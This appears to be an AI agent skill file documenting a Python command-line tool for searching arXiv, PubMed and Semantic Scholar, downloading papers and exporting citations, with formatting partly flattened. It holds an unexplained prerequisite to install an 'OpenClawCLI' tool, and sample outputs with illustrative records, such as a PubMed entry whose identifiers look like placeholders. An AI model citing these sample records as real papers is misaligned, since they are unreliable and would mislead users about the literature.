Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search resea
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Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation Best Practices:
# Standard installation pip install arxiv scholarly pubmed-parser semanticscholar requestsIf you encounter permission errors, use a virtual environment
python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install arxiv scholarly pubmed-parser semanticscholar requests
Never use
as it can damage your system's Python installation.--break-system-packages
| Task | Command |
|---|---|
| Search arXiv | |
| Search PubMed | |
| Search Semantic Scholar | |
| Download papers | |
| Get citations | |
| Generate bibliography | |
| Save results | |
Search across multiple academic databases from a single interface.
Supported Sources:
Download full-text PDFs when available.
python scripts/research.py arxiv "deep learning" --download --output-dir papers/
Extract and format citations from papers.
Supported formats:
Get comprehensive metadata for each paper:
Search the arXiv repository for preprints.
# Basic search python scripts/research.py arxiv "quantum computing"Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG
Filter by date
python scripts/research.py arxiv "transformers" --year 2023
Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10
Available categories:
cs.AIcs.LGcs.CVcs.CLmath.COphysics.opticsq-bio.GNOutput:
1. Attention Is All You Need Authors: Vaswani et al. Published: 2017-06-12 arXiv ID: 1706.03762 Categories: cs.CL, cs.LG Abstract: The dominant sequence transduction models... PDF: http://arxiv.org/pdf/1706.03762v5
Search biomedical literature indexed in PubMed.
# Basic search python scripts/research.py pubmed "cancer immunotherapy"Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31
Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"
Get full text links
python scripts/research.py pubmed "gene therapy" --full-text
Publication types:
Output:
1. mRNA vaccine effectiveness against COVID-19 Authors: Smith J, Jones K, et al. Journal: New England Journal of Medicine Published: 2023-03-15 PMID: 36913851 DOI: 10.1056/NEJMoa2301234 Abstract: Background: mRNA vaccines have shown... Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/
Search computer science and interdisciplinary research.
# Basic search python scripts/research.py semantic "reinforcement learning"Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022
Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100
Include references
python scripts/research.py semantic "BERT" --include-references
Output includes:
Output:
1. BERT: Pre-training of Deep Bidirectional Transformers Authors: Devlin J, Chang MW, Lee K, Toutanova K Published: 2019 Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992 Citations: 15000+ Influential Citations: 2000+ Fields: Computer Science, Linguistics Abstract: We introduce a new language representation model... PDF: https://arxiv.org/pdf/1810.04805.pdf
Control the number of results returned.
--max-results N # Default: 10, range: 1-100
Examples:
python scripts/research.py arxiv "machine learning" --max-results 5 python scripts/research.py pubmed "diabetes" --max-results 50
Choose how results are formatted.
--format <text|json|bibtex|ris|markdown>
Text - Human-readable format (default)
python scripts/research.py arxiv "quantum" --format text
JSON - Structured data for processing
python scripts/research.py arxiv "quantum" --format json
BibTeX - For LaTeX documents
python scripts/research.py arxiv "quantum" --format bibtex
RIS - For reference managers (Zotero, Mendeley)
python scripts/research.py arxiv "quantum" --format ris
Markdown - For documentation
python scripts/research.py arxiv "quantum" --format markdown
Save results to a file.
--output <filepath>
Examples:
python scripts/research.py arxiv "AI" --output results.txt python scripts/research.py pubmed "cancer" --format json --output papers.json python scripts/research.py semantic "NLP" --format bibtex --output references.bib
Download full-text PDFs when available.
--download --output-dir <directory> # Where to save PDFs (default: downloads/)
Examples:
# Download to default directory python scripts/research.py arxiv "deep learning" --download --max-results 5Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/
Extract citations from papers.
--citations # Extract citations --citation-format <format> # bibtex, ris, json (default: bibtex)
Example:
python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib
Filter by publication date.
arXiv:
--year <YYYY> # Specific year --start-date <YYYY-MM-DD> --end-date <YYYY-MM-DD>
PubMed:
--start-date <YYYY-MM-DD> --end-date <YYYY-MM-DD>
Examples:
python scripts/research.py arxiv "quantum" --year 2023 python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31
Search for papers by specific authors.
--author "Last, First"
Examples:
python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey" python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"
Sort results by different criteria.
--sort-by <relevance|date|citations>
Examples:
python scripts/research.py arxiv "machine learning" --sort-by date python scripts/research.py semantic "NLP" --sort-by citations
Gather papers on a topic for a literature review.
# Step 1: Search multiple sources python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.jsonStep 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/
Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib
Track the latest papers in a field.
# Last year's papers python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md
Find influential papers in a field.
python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25
Track an author's work.
python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json
Create a comprehensive reference collection.
# Create directory structure mkdir -p references/{papers,citations}Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/
Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib
Verify findings across multiple databases.
# Search same topic across sources python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txtCompare results
diff arxiv_fl.txt semantic_fl.txt
Search Results: 3 papers found
Attention Is All You Need Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al. Published: 2017-06-12 arXiv ID: 1706.03762 Categories: cs.CL, cs.LG Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks... PDF: http://arxiv.org/pdf/1706.03762v5
BERT: Pre-training of Deep Bidirectional Transformers Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina Published: 2018-10-11 arXiv ID: 1810.04805 Categories: cs.CL Abstract: We introduce a new language representation model called BERT... PDF: http://arxiv.org/pdf/1810.04805v2
[ { "title": "Attention Is All You Need", "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"], "published": "2017-06-12", "arxiv_id": "1706.03762", "categories": ["cs.CL", "cs.LG"], "abstract": "The dominant sequence transduction models...", "pdf_url": "http://arxiv.org/pdf/1706.03762v5", "doi": "10.48550/arXiv.1706.03762" } ]
@article{vaswani2017attention, title={Attention Is All You Need}, author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia}, journal={arXiv preprint arXiv:1706.03762}, year={2017}, url={http://arxiv.org/abs/1706.03762} }
TY - JOUR TI - Attention Is All You Need AU - Vaswani, Ashish AU - Shazeer, Noam AU - Parmar, Niki PY - 2017 DA - 2017/06/12 JO - arXiv preprint VL - arXiv:1706.03762 UR - http://arxiv.org/abs/1706.03762 ER -
# Search Results: 3 papers found1. Attention Is All You Need
Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
Published: 2017-06-12
arXiv ID: 1706.03762
Categories: cs.CL, cs.LG
Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
PDF: Download
--output"Missing required dependency"
# Install all dependencies pip install arxiv scholarly pubmed-parser semanticscholar requestsOr use virtual environment
python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install arxiv scholarly pubmed-parser semanticscholar requests
"OpenClawCLI not found"
"No results found"
"Rate limit exceeded"
--max-results"Download failed"
"API timeout"
"Invalid API response"
python scripts/research.py <source> "<query>" [OPTIONS]SOURCES: arxiv Search arXiv repository pubmed Search PubMed database semantic Search Semantic Scholar
REQUIRED: query Search query string (in quotes)
GENERAL OPTIONS: -n, --max-results Maximum results (default: 10, max: 100) -f, --format Output format (text|json|bibtex|ris|markdown) -o, --output Save to file path --sort-by Sort by (relevance|date|citations)
FILTERING: --year Filter by specific year (YYYY) --start-date Start date (YYYY-MM-DD) --end-date End date (YYYY-MM-DD) --author Author name --min-citations Minimum citation count
ARXIV-SPECIFIC: --category arXiv category (e.g., cs.AI, cs.LG)
PUBMED-SPECIFIC: --publication-type Publication type filter --full-text Include full text links
SEMANTIC-SPECIFIC: --include-references Include paper references
DOWNLOAD: --download Download paper PDFs --output-dir Download directory (default: downloads/)
CITATIONS: --citations Extract citations --citation-format Citation format (bibtex|ris|json)
HELP: --help Show all options
# Find recent papers python scripts/research.py arxiv "quantum computing"Search biomedical literature
python scripts/research.py pubmed "alzheimer disease"
# Search multiple sources python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.jsonDownload important papers
python scripts/research.py arxiv "neural networks" --download --max-results 10
# Generate BibTeX python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bibExport to reference manager
python scripts/research.py pubmed "gene editing" --format ris --output genes.ris
# This month's papers python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by dateRecent highly-cited work
python scripts/research.py semantic "transformers" --year 2023 --min-citations 50
For issues or questions:
python scripts/research.py --helpResources:
No automatic installation available. Please visit the source repository for installation instructions.
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